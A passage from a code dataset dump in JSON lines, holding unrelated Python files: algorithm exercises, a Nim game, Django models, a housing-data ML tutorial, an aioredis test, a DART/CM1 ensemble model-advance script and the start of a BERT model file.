\n","sub_path":"Macq_Website/macq_logistics/models/macq_so.py","file_name":"macq_so.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"535326165","text":"#coding:utf-8\n\n\"\"\"\n题目:5. Kth Largest Element\nDescription\n\n\tFind K-th largest element in an array.\n\tYou can swap elements in the array\n\nExample 1:\n\tInput:\n\tn = 1, nums = [1,3,4,2]\n\tOutput:\n\t4\n\nExample 2:\n\tInput:\n\tn = 3, nums = [9,3,2,4,8]\n\tOutput:\n\t4\n\nChallenge\n\tO(n) time, O(1) extra memory.\n\"\"\"\n\"\"\"\n思路:\n\t快速选择算法 的平均时间复杂度为 O(N){O}(N)O(N)。就像快速排序那样,本算法也是 Tony Hoare 发明的,因此也被称为 Hoare选择算法。\n\n本方法大致上与快速排序相同。简便起见,注意到第 k 个最大元素也就是第 N - k 个最小元素,因此可以用第 k 小算法来解决本问题。\n\n首先,我们选择一个枢轴,并在线性时间内定义其在排序数组中的位置。这可以通过 划分算法 的帮助来完成。\n\n 为了实现划分,沿着数组移动,将每个元素与枢轴进行比较,并将小于枢轴的所有元素移动到枢轴的左侧。\n\n这样,在输出的数组中,枢轴达到其合适位置。所有小于枢轴的元素都在其左侧,所有大于或等于的元素都在其右侧。\n\n这样,数组就被分成了两部分。如果是快速排序算法,会在这里递归地对两部分进行快速排序,时间复杂度为 O(Nlog⁡N)。\n\n而在这里,由于知道要找的第 N - k 小的元素在哪部分中,我们不需要对两部分都做处理,这样就将平均时间复杂度下降到 O(N)。\n\n\"\"\"\nclass Solution:\n\t\"\"\"\n\t@param n: An integer\n\t@param nums: An array\n\t@return: the Kth largest element\n\t\"\"\"\n\tdef kthLargestElement(self, n, nums):\n\t\t# write your code here\n\t\tlength = len(nums)\n\t\tif n>length or n==0:\n\t\t\treturn None\n\t\treturn half_quicksort(nums,n,0,length-1)\n\t\t\n\t\n\t#方法二,利用二叉堆\n\tdef kthLargestElement2(self, n, nums):\n\t\timport heapq\n\t\tlength = len(nums)\n\t\tif n>length or n==0:\n\t\t\treturn None\n\t\treturn heapq.nlargest(n,nums)[n-1]\n\t\t\ndef half_quicksort(nums,k,start,end):\n\tif k==1 and start==end:\n\t\treturn nums[start]\n\tif start=pivot:\n\t\t\t\tright-=1\n\t\t\tnums[left],nums[right]=nums[right],nums[left]\n\t\t\twhile leftk-1:\n\t\t\treturn half_quicksort(nums,k,right+1,end)\n\t\telif end-right List[int]:\n freqs = Counter(barcodes)\n maxHeap = [[-cnt, char] for char, cnt in freqs.items()]\n\n heapq.heapify(maxHeap)\n\n prev=None\n result=[]\n while maxHeap or prev:\n if not maxHeap and prev:\n return \"\"\n\n cnt, char = heapq.heappop(maxHeap)\n result.append(char)\n cnt+=1\n\n if prev:\n heapq.heappush(maxHeap, prev)\n prev=None\n \n if cnt!=0:\n prev = [cnt,char]\n\n return result","sub_path":"Leetcode/Priority Queue & Heaps/p1054.py","file_name":"p1054.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"128025024","text":"\n\nfrom xai.brain.wordbase.nouns._spaceship import _SPACESHIP\n\n#calss header\nclass _SPACESHIPS(_SPACESHIP, ):\n\tdef __init__(self,): \n\t\t_SPACESHIP.__init__(self)\n\t\tself.name = \"SPACESHIPS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"spaceship\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_spaceships.py","file_name":"_spaceships.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"584116059","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 18 08:30:13 2018\n\n@author: sugino0708\n\"\"\"\n\n\n\"\"\"\n\nデータフェッチ処理\n\n\"\"\"\nimport os\nimport tarfile\nimport urllib\n\nDOWNLOAD_ROOT = \"https://raw.githubusercontent.com/ageron/handson-ml/master/\"\nHOUSING_URL = DOWNLOAD_ROOT + \"datasets/housing/housing.tgz\"\nHOUSING_SAVE_PATH = os.path.join(\"datasets\", \"housing\")\n\ndef fetch_housing_data(housing_url=HOUSING_URL, housing_path=HOUSING_SAVE_PATH):\n #保存先ディレクトリが存在していない場合は生成する\n if not os.path.isdir(housing_path):\n os.makedirs(housing_path)\n \n #ファイルをダウンロード\n tgz_path = os.path.join(housing_path, \"housing.tgz\")\n urllib.request.urlretrieve(housing_url, tgz_path)\n \n #保存したファイルの解凍\n housing_tgz = tarfile.open(tgz_path)\n housing_tgz.extractall(path=housing_path)\n housing_tgz.close()\n \n\"\"\"\n\npandasによるcsvファイルの読み込み\n\n\"\"\" \nimport pandas as pd\n\ndef load_housing_data(housing_path=HOUSING_SAVE_PATH):\n csv_path = os.path.join(housing_path, \"housing.csv\")\n return pd.read_csv(csv_path)\n\n#fetch_housing_data()\n#\nhousing = load_housing_data()\n#housing.head()\n#\nimport matplotlib.pyplot as plt\n#\n#housing.hist(bins=50, figsize=(20,15))\n#plt.show()\n\n\"\"\"\n\nテストセットの生成\n\n\"\"\"\nimport numpy as np\n\ndef split_train_test(data, test_ratio):\n \"\"\"\n 訓練データとテストデータをratioに従って分割する\n この関数で分割すると実行するたびにデータセットが変化するので非推奨\n \"\"\"\n #データの大きさ分の連番添字をランダムに並べたリストを生成する\n shuffled_indices = np.random.permutation(len(data))\n test_set_size = int( len(data) * test_ratio)\n test_indices = shuffled_indices[:test_set_size]\n train_indices = shuffled_indices[test_set_size:]\n #行と列を番号で指定するilocを使用する(列番号は省略しているので行まるごと取ってくる) \n return data.iloc[train_indices], data.iloc[test_indices]\n\nimport hashlib\n\ndef test_set_check(identifier, test_ratio, hash):\n \"\"\"\n 与えられたインスタンスの識別子をもとに、該当インスタンスのハッシュ値の最後の1バイトの値をチェックする\n その値が、ある一定の値より小さいか大きいかによってデータの分類先を決める\n \"\"\"\n return hash(np.int64(identifier)).digest[-1] < 256 * test_ratio\n\ndef split_train_test_by_id(data, test_ratio, id_column, hash=hashlib.md5):\n \"\"\"\n 識別子とする列名を受け取り、その列に対してtest_set_check関数をあてていく\n その結果、booleanのリストが得られるので、それをもとにデータリストを切り出す\n \"\"\"\n ids = data[id_column]\n in_test_set = ids.apply(lambda id_: test_set_check(id_, test_ratio, hash))\n #locはbooleanで切り出せる\n return data.loc[~in_test_set], data.loc[in_test_set]\n\n#housingデータに識別子を追加する\nhousing_with_id = housing.reset_index()\n\n\"\"\"\n\n層化抽出法(Stratified sampling)により\n各層(カテゴリ)から適切な数のインスタンスを抽出する\n\n\"\"\"\n\nhousing[\"income_cat\"] = np.ceil(housing[\"median_income\"] / 1.5)\nhousing[\"income_cat\"].where(housing[\"income_cat\"] < 5, 5.0, inplace=True)\n\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nsplit = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\nfor train_index, test_index in split.split(housing, housing[\"income_cat\"]):\n strat_train_set = housing.loc[train_index] \n strat_test_set = housing.loc[test_index]\n\n\"\"\"\n\nデータの研究、可視化\n\n\"\"\"\nhousing = strat_train_set.copy()\nhousing.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\", alpha=0.1)\n\n\"\"\"\n\n学習アルゴリズムに渡せるようにデータを準備する\n\n\"\"\"\n\n#予測子とラベルを分離する\nhousing = strat_train_set.drop(\"median_house_value\", axis=1)#axis=1は列次元\nhousing_labels = strat_train_set[\"median_house_value\"].copy()\n\n#データをクリーニングする\n#欠損値のある行を削除する\nhousing.dropna(subset=[\"total_bedrooms\"])\n\nfrom sklearn.preprocessing import Imputer\n\n#Imputerは欠損値を補正してくれる便利ツール\n#mdianとすると欠損値を中央値で埋める\nimputer = Imputer(strategy=\"median\")\nhousing_num = housing.drop(\"ocean_proximity\", axis=1)\n#中央値の学習\nimputer.fit(housing_num)\n#欠損値を埋める\nX = imputer.transform(housing_num)\n\n\n","sub_path":"housing.py","file_name":"housing.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"239157036","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom model_utils.models import TimeStampedModel\nfrom transport.models import Company, Transit\n\n# Create your models here.\nclass Section(models.Model):\n name = models.CharField(verbose_name='名称', max_length=200)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = '款项'\n verbose_name_plural = '款项'\n\n\nclass CompanyTotalFund(TimeStampedModel):\n company = models.OneToOneField(\n Company,\n related_name='total_fund',\n verbose_name='公司'\n )\n section = models.ForeignKey(\n Section,\n related_name='total_fund',\n verbose_name='款项'\n )\n fund = models.IntegerField(verbose_name='合计', default=0)\n\n def __str__(self):\n return '公司:%s, 款项:%s, 合计:%s' % (\n self.company.name,\n self.section.name,\n self.fund\n )\n\n class Meta:\n verbose_name = '公司款项合计'\n verbose_name_plural = '公司款项合计'\n\n\nclass TransitPrice(TimeStampedModel):\n transit = models.OneToOneField(\n Transit,\n related_name='price',\n verbose_name='运输'\n )\n section = models.ForeignKey(\n Section,\n related_name='transit_price',\n verbose_name='款项'\n )\n from_price = models.IntegerField(verbose_name='从单价', default=0)\n to_price = models.IntegerField(verbose_name='到单价', default=0)\n user = models.ForeignKey(\n User,\n related_name='add_price',\n verbose_name='会计'\n )\n is_charged = models.BooleanField(verbose_name='核算', default=False)\n\n def __str__(self):\n return '司机:%s, 车:%s, 款项:%s, 从:%s,进价:%s, 到:%s,出价:%s, 物品:%s' % (\n self.transit.user.username,\n self.transit.vehicle.plate,\n self.section.name,\n self.transit.from_company.name,\n self.from_price,\n self.transit.to_company.name,\n self.to_price,\n self.transit.goods.name\n )\n\n class Meta:\n verbose_name = '具体运价'\n verbose_name_plural = '具体运价'\n\n\nclass CompanyFund(models.Model):\n transit = models.ForeignKey(\n Transit,\n related_name='fund',\n verbose_name='运输'\n )\n company = models.ForeignKey(\n Company,\n related_name='fund',\n verbose_name='公司'\n )\n section = models.ForeignKey(\n Section,\n related_name='company_fund',\n verbose_name='款项'\n )\n delta = models.IntegerField(verbose_name='差额', default=0)\n date = models.DateTimeField(verbose_name='日期', auto_now_add=True)\n user = models.ForeignKey(\n User,\n related_name='add_fund',\n verbose_name='会计'\n )\n\n def __str__(self):\n return ' 日期:%s, 公司:%s, 款项:%s, 核算:%s,' % (\n self.date,\n self.company,\n self.section.name,\n self.delta\n )\n\n class Meta:\n verbose_name = '财务状况'\n verbose_name_plural = '财务状况'\n unique_together = ('transit', 'company', 'section', )\n","sub_path":"logistics/business/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"597036278","text":"# Цена 1 программы в рознице\nPROGRAM_PRICE = 99\n\n# вводим сколько хотим купить пакетов програм.\nsales = int(input(\"Сколько купим пакетов программ: \"))\n\n# Проверяем условие и на основании него решаем давать ли скидку.\nif sales >= 10 and sales <= 19:\n discount = sales * 0.1\n my_sales = (sales * PROGRAM_PRICE) - discount\n print(\"За покупку\", sales, 'вы получили скидку в 10%.')\n print(\"Сумма со скидкой составляет\", my_sales)\nelif sales >= 20 and sales <= 49:\n discount = sales * 0.2\n my_sales = (sales * PROGRAM_PRICE) - discount\n print(\"За покупку\", sales, 'вы получили скидку в 20%.')\n print(\"Сумма со скидкой составляет\", my_sales)\nelif sales >= 50 and sales <= 99:\n discount = sales * 0.3\n my_sales = (sales * PROGRAM_PRICE) - discount\n print(\"За покупку\", sales, 'вы получили скидку в 30%.')\n print(\"Сумма со скидкой составляет\", my_sales)\nelif sales >=100:\n discount = sales * 0.4\n my_sales = (sales * PROGRAM_PRICE) - discount\n print(\"За покупку\", sales, 'вы получили скидку в 40%.')\n print(\"Сумма со скидкой составляет\", my_sales)\nelse:\n print(\"У вы, но скидка на\", sales, 'пакет(ов) пограммы не предпологается.')\n my_sales = sales * PROGRAM_PRICE\n print('Сумма за программы составляет:', my_sales)","sub_path":"3/tasks/3.42.py","file_name":"3.42.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"554413572","text":"# Ran Libeskind-Hadas\n# October 2017\n# nim.py\n\nimport random\nfrom functools import *\n\ndebug = False\n\ndef main():\n print(\"Welcome to Nim! I'm probably going to win...\")\n playing = True\n while playing:\n nPiles = askNumPiles()\n piles = askPiles(nPiles)\n # print piles\n play(piles)\n wantMore = input(\"Do you want to play again? \")\n if wantMore == '' or wantMore[0] not in 'Yy':\n playing = False\n\ndef askNumPiles():\n return askPositiveNum(\"How many piles do you want? \")\n\ndef askPiles(numPiles):\n piles = []\n for i in range(numPiles):\n num = askPositiveNum(\"How many coins do you want on pile \" + str(i) + \"? \")\n piles.append(num)\n return piles\n\ndef play(piles):\n computerTurn = True\n while sum(piles) > 0:\n if computerTurn:\n pile, num = computerPlay(piles)\n else:\n pile, num = humanPlay(piles)\n piles[pile] -= num\n computerTurn = not computerTurn\n showBoard(piles)\n if computerTurn:\n print(\"Congratulations! You win!\")\n else:\n print(\"As expected, I win!\")\n\ndef showBoard(piles):\n print(\"------------------------\")\n for i in range(len(piles)):\n if piles[i] == 1:\n s = \"\"\n else:\n s = \"s\"\n print(\"Pile %d has %d coin%s\" % (i, piles[i], s))\n\ndef computerPlay(piles):\n pileIndex, num = computerTakes(piles)\n print(\"I take \", num, \" coins from pile \", pileIndex)\n return pileIndex, num\n\ndef computerTakes(piles):\n sum = nimSum(piles)\n # If nim sum is 0, we're just taking one coin off the first non-empty pile\n if sum == 0:\n for pileIndex in range(len(piles)):\n if piles[pileIndex] != 0: return (pileIndex, 1)\n else:\n topBit = findTopBit(sum)\n for pileIndex in range(len(piles)):\n if (piles[pileIndex] & topBit) != 0:\n num = piles[pileIndex] - (piles[pileIndex] ^ sum)\n break\n return pileIndex, num\n\ndef nimSum(piles):\n \"\"\" Takes a list of pile numbers and returns the xor of those numbers. \"\"\"\n return reduce(lambda X, Y: X^Y, piles)\n\ndef findTopBit(num):\n \"\"\" Takes a positive integer as input and returns the largest power of\n 2 less than or equal to the number. \"\"\"\n bit = 1\n num >>= 1\n while num != 0:\n bit <<= 1\n num >>= 1\n return bit\n\ndef humanPlay(piles):\n while True:\n pile = askNonNegativeNum(\"What pile would you like to remove from? \")\n if pile >= len(piles):\n print(\"Sorry, that is not a valid pile. Please try again.\")\n elif piles[pile] == 0:\n print(\"Sorry, that pile has no coins left. Please try again.\")\n else:\n break\n while True:\n num = askPositiveNum(\"How many coins do you wish to remove from pile \" + str(pile) + \"? \")\n if piles[pile] < num:\n if piles[pile] == 1:\n s = \"\"\n else:\n s = \"s\"\n print(\"Sorry, that pile has only %d coin%s left. Please try again\" % (piles[pile], s))\n else:\n break\n return (pile, num)\n\ndef askPositiveNum(prompt):\n while True:\n try:\n num = int(input(prompt))\n if num > 0:\n return num\n else:\n print(\"Sorry, but your answer must be greater than zero. \" + \"Please try again.\")\n except ValueError:\n print(\"Sorry, that is not a valid number. Please try again.\")\n\ndef askNonNegativeNum(prompt):\n while True:\n try:\n num = int(input(prompt))\n if num >= 0:\n return num\n else:\n print(\"Sorry, but your answer must be nonnegative. \" \\\n + \"Please try again.\")\n except ValueError:\n print(\"Sorry, that is not a valid number. Please try again.\")\n\n# if __name__ == \"__main__\": main()\n\n","sub_path":"kevinFiles/CS5Black/hw6/hw6pr4.py","file_name":"hw6pr4.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"119625823","text":"import csv\nfrom mako.template import Template\n\n\nwith open('../ice.csv') as csvfile:\n reader = csv.DictReader(csvfile, delimiter=',')\n \n taxes = []\n for row in reader:\n taxes.append(row)\n print(row)\n\n comXml = Template(filename='tpl/tax.tpl').render(taxes=taxes)\n \n\n fileComision = open('../ice_codes.xml', 'w')\n fileComision.write(comXml)\n fileComision.close()\n","sub_path":"l10n_ec_ice/data/bin/make_xml.py","file_name":"make_xml.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"418174729","text":"import asyncio\nimport pytest\n\n\n@pytest.mark.run_loop\nasync def test_pubsub_channel_iter(create_redis, server, loop):\n sub = await create_redis(server.tcp_address, loop=loop)\n pub = await create_redis(server.tcp_address, loop=loop)\n\n ch, = await sub.subscribe('chan:1')\n\n async def coro(ch):\n lst = []\n async for msg in ch.iter():\n lst.append(msg)\n return lst\n\n tsk = asyncio.ensure_future(coro(ch), loop=loop)\n await pub.publish_json('chan:1', {'Hello': 'World'})\n await pub.publish_json('chan:1', ['message'])\n await asyncio.sleep(0, loop=loop)\n ch.close()\n assert await tsk == [b'{\"Hello\": \"World\"}', b'[\"message\"]']\n","sub_path":"tests/py35_pubsub_commands_test.py","file_name":"py35_pubsub_commands_test.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"651351637","text":"#!/usr/bin/env python\n#\n# DART software - Copyright 2004 - 2015 UCAR. This open source software is\n# provided by UCAR, \"as is\", without charge, subject to all terms of use at\n# http://www.image.ucar.edu/DAReS/DART/DART_download\n#\n# CREDIT: This script was donated to DART by Luke Madaus during his time\n# at the University of Washington. Thanks Luke!\n#\n# DART $Id$\n#\n# Modified for Python (Oct. 2015) Luke Madaus, University of Washington\n#-----------------------------------------------------------------------------\n# Script for use in assimilation applications\n# where the model advance is executed as a separate process.\n#\n# Arguments are (created by 'filter' or 'perfect_model_obs' and include):\n# 1) the process number of caller,\n# 2) the number of ensemble members/state copies belonging to that process, and\n# 3) the name of the control_file for that process.\n#\n# If this script finishes and the 'control_file' still exists, it is\n# an ERROR CONDITION and means one or more of the ensemble members did\n# not advance properly. Despite our best attempts to trap on this\n# condition, some MPI installations simply hang, some properly terminate.\n#\n# This script loops over all the entries in the control_file to advance\n# any/all of the ensemble members. The number of trips through the\n# loop is the second argument to this script. The control_file contains\n# the information about which ensemble members are to be advanced by THIS TASK.\n# Sometimes it may be just one ensemble member, sometimes all of them.\n# Read DART/doc/html/filter_async_modes.html and the mpi_intro.html\n# for an overview.\n#\n# This script has 4 logical 'blocks':\n# 1) determine how many ensemble members (num_states) this process \n# will need to advance.\n# 2) convey the forecast length to the model\n# 3) run the model (make the forecast)\n# 4) determine if there are more ensemble members to advance\n\nfrom __future__ import print_function, division\nimport os, sys\nfrom netCDF4 import Dataset\nfrom datetime import datetime, timedelta\nfrom namelist_utils import read_namelist, write_namelist\n\n# Read from the input arguments\nmyname, process, num_states, control_file = sys.argv\nprocess = int(process)\nnum_states = int(num_states)\n\nprint(\"advance_model: process {:d}\".format(process))\nprint(\"advance_model: number of states to advance {:d}\".format(num_states))\nprint(\"advance_model: control file name is {:s}\".format(control_file))\n\ncentraldir = os.getcwd() \n\n# Loop through each model state\n# Python indexing starts at 0\nensemble_member_line = 0 \ninput_file_line = 1\noutput_file_line = 2\ncurrent_time_line = 3\nadvance_to_time_line = 4\n\nstate_copy = 1\n\nwhile state_copy <= num_states:\n\n #-------------------------------------------------------------------\n # Block 1: Parse the information from the control file\n #\n # NOTE: the input_file and output_file are not used by this script\n # because of the implementation of the input_filelist.txt constuct.\n # They are here merely to maintain consistency with old versions\n # of advance_model.csh scripts. Could easily be removed.\n #-------------------------------------------------------------------\n\n #set ensemble_member = `head -n $ensemble_member_line $control_file | tail -n 1`\n #set input_file = `head -n $input_file_line $control_file | tail -n 1`\n #set output_file = `head -n $output_file_line $control_file | tail -n 1`\n #set current_time = `head -n $current_time_line $control_file | tail -n 1`\n #set advance_to_time = `head -n $advance_to_time_line $control_file | tail -n 1`\n with open(control_file,'r') as cntrl:\n cntrl_lines = cntrl.readlines()\n # Strip the \\n off the ends...\n ensemble_member = int(cntrl_lines[ensemble_member_line][:-1])\n input_file = cntrl_lines[input_file_line][:-1]\n output_file = cntrl_lines[output_file_line][:-1]\n current_time = cntrl_lines[current_time_line][:-1]\n advance_to_time = cntrl_lines[advance_to_time_line][:-1]\n\n\n\n\n\n # The run-time directory for the entire experiment is called CENTRALDIR;\n # we need to provide a unique directory for each model advance.\n temp_dir = 'dir_model_{:03d}'.format(ensemble_member)\n # Don't know if we need this yet...probably don't...\n if not os.path.exists(temp_dir):\n os.system('mkdir {:s}'.format(temp_dir))\n os.chdir(temp_dir)\n os.system('cp ../namelist.input namelist.input.template'.format(temp_dir))\n os.system('ln -sf ../LANDUSE.TBL .')\n os.system('ln -sf ../input_sounding .')\n\n #-------------------------------------------------------------------\n # Block 2: Convey the forecast length to the model.\n #\n # Create two time strings that we can difference to get the number\n # of seconds to advance which must be conveyed to CM1. We need to\n # parse the times from the control_file (whose format is determined\n # by DART in consideration of all the models) to a time useful for CM1\n #-------------------------------------------------------------------\n\n # This whole thing is redone with python datetime\n currentdt = datetime(*map(int, current_time.split()[1:]))\n advancedt = datetime(*map(int, advance_to_time.split()[1:]))\n # Compute the difference\n diffdt = advancedt - currentdt\n totaldays = diffdt.days\n totalsecs = diffdt.seconds\n run_time = totaldays * 86400 + totalsecs\n\n\n \"\"\"\n # The dart function 'advance_time' needs an input.nml\n os.system('ln -svf ../input.nml . || exit 1')\n set bob=`echo $current_time`\n set year = $bob[2]\n set month = $bob[3]\n set day = $bob[4]\n set hour = $bob[5]\n set minute = $bob[6]\n set second = $bob[7]\n set cur_datestr = `printf %04d%02d%02d%02d%02d%02d $year $month $day $hour $minute $second`\n set current_d=(`echo ${cur_datestr} 0 -g | ../advance_time`)\n\n #echo \"We think the current date string is: ${cur_datestr}\"\n #echo \"Current days and seconds: $current_d\"\n #echo \"Started with: ${current_time}\"\n\n set bob=`echo $advance_to_time`\n set year = $bob[2]\n set month = $bob[3]\n set day = $bob[4]\n set hour = $bob[5]\n set minute = $bob[6]\n set second = $bob[7]\n set fcst_datestr = `printf %04d%02d%02d%02d%02d%02d $year $month $day $hour $minute $second`\n set forecast_d =(`echo ${fcst_datestr} 0 -g | ../advance_time`)\n\n #echo \"We think the forecast date string is: ${fcst_datestr}\"\n #echo \"Forecast days and seconds: $forecast_d\"\n #echo \"Started with: ${advance_to_time}\"\n\n @ totaldays = ( $forecast_d[1] - $current_d[1] )\n @ totalsecs = ( $forecast_d[2] - $current_d[2] )\n\n @ run_time = $totaldays * 86400 + $totalsecs\n \"\"\"\n\n\n #echo \"DEBUG:Run time: $run_time\"\n\n # Now that we know the forecast length, must convey that to CM1 by\n # replacing the bogus string with the real forecast length.\n # Both run_time and rstfrq (restart frequency) are changed.\n # FIXME: check the impact of changing the restart frequency\n # has on whole thing by varying the forecast lengths.\n #\n # NOTE: irst == 1, always. Indicates using an existing state.\n # By forcing rstnum == 1, we can always link the most current\n # file to be cm1out_rst_000001.nc\n \n # Another adjustment with python, now using namelist_utils\n os.system('rm -f namelist.input')\n nmld = read_namelist('namelist.input.template')\n # Change the foreacst and restart length\n nmld['param1']['run_time'] = run_time\n nmld['param1']['rstfrq'] = run_time\n # Also, for serial run, make sure nodex and nodex are 1\n nmld['param0']['nodex'] = 1\n nmld['param0']['nodey'] = 1\n # Write the new namelist\n write_namelist(nmld, 'namelist.input')\n\n\n \"\"\"\n rm -f namelist.input\n sed -e \"s/CM1_FORECAST_LENGTH/${run_time}/\" namelist.input.template > namelist.input\n\n grep CM1_FORECAST_LENGTH namelist.input\n if ($status == 0) then\n echo \"The CM1 namelist file 'namelist.input' did not get the new run_time.\"\n echo \"Aborting.\"\n exit 2\n endif\n \"\"\"\n\n # LEM Here is where I'm putting the initial file turnaround\n # For the first time, look for the restart file in the control\n # directory that matches this ensemble member at currentdt\n possible_first_file = 'cm1out.{:03d}.{:%Y%m%d%H%M%S}.nc'.format(ensemble_member, currentdt)\n if not os.path.exists('cm1out_rst_000001.nc') and os.path.exists('../{:s}'.format(possible_first_file)):\n os.system('cp ../{:s} cm1out_rst_000001.nc'.format(possible_first_file))\n \n\n\n #-------------------------------------------------------------------\n # Block 3: Advance the model.\n #\n # Saving the run-time messages from each file to a unique log file.\n # This is intended to make debugging easier.\n #\n # CM1 always expects a restart file called \"cm1out_rst_000001.nc\".\n #\n # DART is going to save the most current state with a date/time tag \n # and must also link that most current state to the static \n # \"cm1out_rst_000001.nc\" name.\n #-------------------------------------------------------------------\n fcst_datestr = '{:%Y%m%d%H%M%S}'.format(advancedt)\n os.system('rm -rf cm1log.{:s}.txt'.format(fcst_datestr))\n\n os.system('../cm1.exe |& tee cm1log.{:s}.txt'.format(fcst_datestr))\n\n # check the file\n with open('cm1log.{:s}.txt'.format(fcst_datestr),'r') as logfile:\n contents = logfile.read()\n if 'Program terminated normally' not in contents:\n print(\"ERROR: cm1 model advance failed.\")\n print(\"ERROR: check {:s}/cm1log.{:s}.txt\".format(temp_dir, fcst_datestr))\n exit(3)\n else:\n print(\"CM1 should now be at: {:s}\".format(fcst_datestr))\n\n \n \"\"\"\n grep 'Program terminated normally' cm1log.${fcst_datestr}.txt\n if ($status != 0) then\n echo \"ERROR: cm1 model advance failed.\"\n echo \"ERROR: check $temp_dir/cm1log.${fcst_datestr}.txt\"\n exit 3\n else\n echo \"CM1 should now be at $fcst_datestr\"\n endif\n \"\"\"\n\n # Trying to grab the most recent restart file\n # Python os listing here to sort files by order\n outfiles = [f for f in os.listdir('.') if f.startswith('cm1out_rst_') and f.endswith('.nc')]\n outfiles.sort()\n outfile = outfiles[-1]\n\n # Another python check...just to be sure, open this output file\n # and compute its date to compare with advancedt\n # Read the simulation start (base time) from the namelist\n nmldtime = nmld['param11']\n startdt = datetime(nmldtime['year'], nmldtime['month'], nmldtime['day'],\\\n nmldtime['hour'], nmldtime['minute'], nmldtime['second'])\n # Now get the time from what we think is the latest restart file\n with Dataset(outfile, 'r') as rst:\n filesec = int(rst.variables['time'][0])\n # See if this matches where we think we should be\n filedt = startdt + timedelta(seconds=filesec)\n if filedt != advancedt:\n print(\"ERROR: cm1 model advance not at right time\")\n print(\"ERROR: we think this is latest file: {:s}/{:s}\".format(temp_dir, outfile))\n print(\"ERROR: but filetime is {:%Y%m%d%H%M%S} and desired time is {:%Y%m%d%H%M%S}\".format(filedt, advancedt))\n exit(3)\n\n\n # Rename this to the \"official\" file\n os.system('mv -v {:s} cm1out.{:03d}.{:s}.nc'.format(outfile, ensemble_member, fcst_datestr))\n\n # Update filename referenced by CENTRALDIR/input_filelist.txt\n # to point to the most recent restart file.\n os.system('ln -svf cm1out.{:03d}.{:s}.nc cm1out_rst_000001.nc'.format(ensemble_member, fcst_datestr))\n\n #-------------------------------------------------------------------\n # Block 4:\n # Update the location in the control file with the information\n # for the next ensemble member\n #-------------------------------------------------------------------\n\n state_copy += 1\n ensemble_member_line += 5\n input_file_line += 5\n output_file_line += 5\n current_time_line += 5\n advance_to_time_line += 5\n\n # Change back to original directory\n os.chdir(centraldir)\n\n# Return to normal indent---end of while block\n\n# MANDATORY - Remove the control_file to signal completion. If it still\n# exists in CENTRALDIR after all the ensemble members have been advanced,\n# it means one or more of the advances failed and is an ERROR CONDITION.\n\nos.system('rm -rf {:s}'.format(control_file))\n\nexit(0)\n\n# \n# $URL$\n# $Revision$\n# $Date$\n\n","sub_path":"models/cm1/shell_scripts/advance_model.py","file_name":"advance_model.py","file_ext":"py","file_size_in_byte":12532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"470914476","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on Wed May 20 10:29:29 2020\n\n@author: hankui\n\n\"\"\"\n\n\n#%% attempt 1\nfrom itertools import combinations\n\ndef maxMin1(k, arr):\n \n diff = float(\"inf\")\n comb = combinations(arr, k)\n \n for val in comb:\n tmp = max(val) - min(val)\n if tmp < diff:\n diff = tmp\n return diff \n\n\n#%% attempt 2\ndef maxMin(k, arr):\n arr1 = sorted(arr)\n ans = float('inf')\n for i in range(len(arr)-k+1):\n subgrp = arr1[i:i+k]\n diff = max(subgrp) - min(subgrp)\n \n if diff == 0:\n ans = diff\n break\n else:\n if diff < ans:\n ans = diff\n return ans \n\n\n#%% one solution\ndef maxMin(k, arr):\n ans = 10**9\n arr_s = sorted(arr)\n for i in range(len(arr) - k + 1):\n sub_arr_min = arr_s[i]\n sub_arr_max = arr_s[i+k-1]\n ans = min(sub_arr_max - sub_arr_min, ans)\n return ans\n\n\n#%% test cases \nk = 3\narr = [1,2,1,2,1]\n\nmaxMin(k, arr)","sub_path":"General/Solved/maxMin.py","file_name":"maxMin.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"465827908","text":"from typing import Tuple, Union\nimport enum\nfrom pytorch_lightning.trainer.states import RunningStage\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch.optim.lr_scheduler import ExponentialLR\nfrom config import BertConfig\nfrom bert_models import FuseEmbeddings, BertEmbeddings, TransformerBlock, LayerNorm, BERT\nfrom predictive_models import SelfSupervisedHead, MappingHead\nfrom utils import t2n, multi_label_metric\nimport os\nfrom argparse import ArgumentParser, Namespace\nfrom typing import Optional, Dict, List\nimport pandas as pd\nimport pytorch_lightning as pl\nfrom torch.utils.data import DataLoader, RandomSampler, SequentialSampler, Dataset # random_split,\nimport random\nfrom os.path import join\nimport copy\nimport numpy as np\nimport torch\n\n\nclass Voc(object):\n def __init__(self):\n self.idx2word = {}\n self.word2idx = {}\n\n def add_sentence(self, 